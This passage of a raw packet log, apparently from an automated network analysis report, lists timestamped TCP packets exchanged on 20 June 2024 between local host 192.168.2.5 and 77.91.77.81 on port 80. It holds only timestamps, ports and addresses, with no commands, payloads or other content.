Jun 20, 2024 15:38:14.692971945 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.692986012 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.693005085 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.693022966 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.693037987 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.693054914 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.693069935 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.693084002 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.693104029 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.693111897 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.693139076 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.693154097 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.693183899 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.733586073 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.733607054 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.733624935 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.733645916 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.733649969 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.733661890 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.733666897 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.733685017 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.733700037 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.733724117 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.733726025 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.733741045 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.733767033 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.733767986 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.733783007 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.733791113 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.733798981 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.733803034 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.733815908 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.733820915 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.733831882 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.733849049 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.733896017 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.733911037 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.733927011 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.733937979 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.733942986 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.733961105 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.733982086 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.733984947 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.733998060 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.734014034 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.734040976 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.734047890 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.734057903 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.734061003 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.734072924 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.734088898 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.734105110 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.734112978 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.735066891 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735084057 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735100031 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735125065 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735125065 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.735136986 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.735140085 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735156059 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735165119 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.735172033 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735186100 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.735188007 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735203981 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735205889 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.735228062 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735235929 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735296011 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735311985 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735322952 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.735333920 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735342026 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.735351086 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735362053 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.735404015 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.735440016 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735460997 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735474110 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735488892 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735496044 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.735510111 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.735534906 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.735572100 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735599995 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735615969 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735631943 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735642910 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.735655069 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.735682011 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.735732079 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735747099 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735764027 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735780001 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735785961 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.735807896 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.735837936 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.735891104 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735908031 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735924006 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735939026 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.735943079 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735950947 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.735960007 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735966921 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.735975981 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.735984087 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.735994101 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736000061 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736013889 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736016989 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736026049 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736030102 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736047029 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736049891 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736063004 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736082077 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736165047 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736181021 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736196995 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736211061 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736212969 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736224890 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736229897 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736238003 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736244917 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736259937 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736274958 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736288071 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736289978 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736310959 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736326933 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736342907 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736354113 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736360073 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736372948 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736376047 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736392021 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736399889 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736423016 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736444950 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736463070 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736479044 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736500025 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736504078 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736515999 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736520052 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736538887 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736546993 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736553907 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736555099 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736577034 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736581087 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736586094 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736597061 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736619949 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736623049 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736644030 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736654997 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736692905 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736713886 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736730099 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736748934 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736753941 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736766100 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736778975 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736804008 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.736823082 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736836910 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.736872911 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.775650024 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.775686026 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.775717974 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.775718927 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.775751114 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.775752068 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.775760889 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.775788069 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.775794983 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.775823116 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.775840998 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.775867939 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.775930882 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.775981903 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.779613018 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.779686928 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.779690981 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.779738903 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.779748917 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.779783010 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.779800892 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.779819965 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.779829025 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.779854059 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.779869080 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.779889107 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.779906034 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.779931068 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.779938936 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.779973984 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.779982090 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.780006886 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.780040979 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.780042887 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.780051947 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.780090094 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.780092955 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.780127048 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.780145884 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.780158997 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.780179977 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.780193090 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.780225039 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.780227900 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.780257940 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.780277014 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.780298948 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.780308008 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.780333042 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.780365944 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.780373096 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.780373096 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.780400991 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.780409098 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.780447006 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.823913097 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.823955059 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.823988914 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.824002028 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.824038029 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.824047089 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.824079990 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.824094057 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.824115038 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.824126005 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.824150085 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.824162960 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.824198008 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.824204922 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.824239016 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.824273109 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.824275970 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.824286938 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.824305058 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.824333906 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.824356079 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.824359894 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.824390888 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.824402094 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.824424982 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.824434042 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.824456930 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.824472904 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.824501038 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.824512959 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.824563026 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.824588060 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.824596882 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.824611902 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.824632883 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.824645042 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.824666977 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.824681997 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.824702024 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.824757099 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.825455904 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.825485945 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.825519085 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.825540066 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.825552940 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.825576067 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.825587988 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.825603962 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.825639009 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.825648069 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.825673103 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.825683117 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.825707912 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.825716019 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.825754881 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.825762987 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.825797081 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.825808048 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.825829983 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.825861931 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.825872898 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.825907946 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.825912952 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.825946093 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.825958014 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.825980902 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.825985909 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.826014996 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826025009 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.826070070 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.826071024 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826103926 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826113939 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.826137066 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826153040 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.826172113 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826215029 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.826215029 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826250076 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826282024 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826297998 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.826314926 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826347113 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826385975 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.826385975 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.826400995 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826433897 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826467991 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826488018 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.826500893 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826509953 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.826553106 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826570988 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.826586962 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826597929 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.826620102 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826631069 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.826653957 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826666117 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.826688051 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826697111 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.826729059 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.826742887 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826777935 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826809883 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826828957 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.826853991 CEST	49710	80	192.168.2.5	77.91.77.81
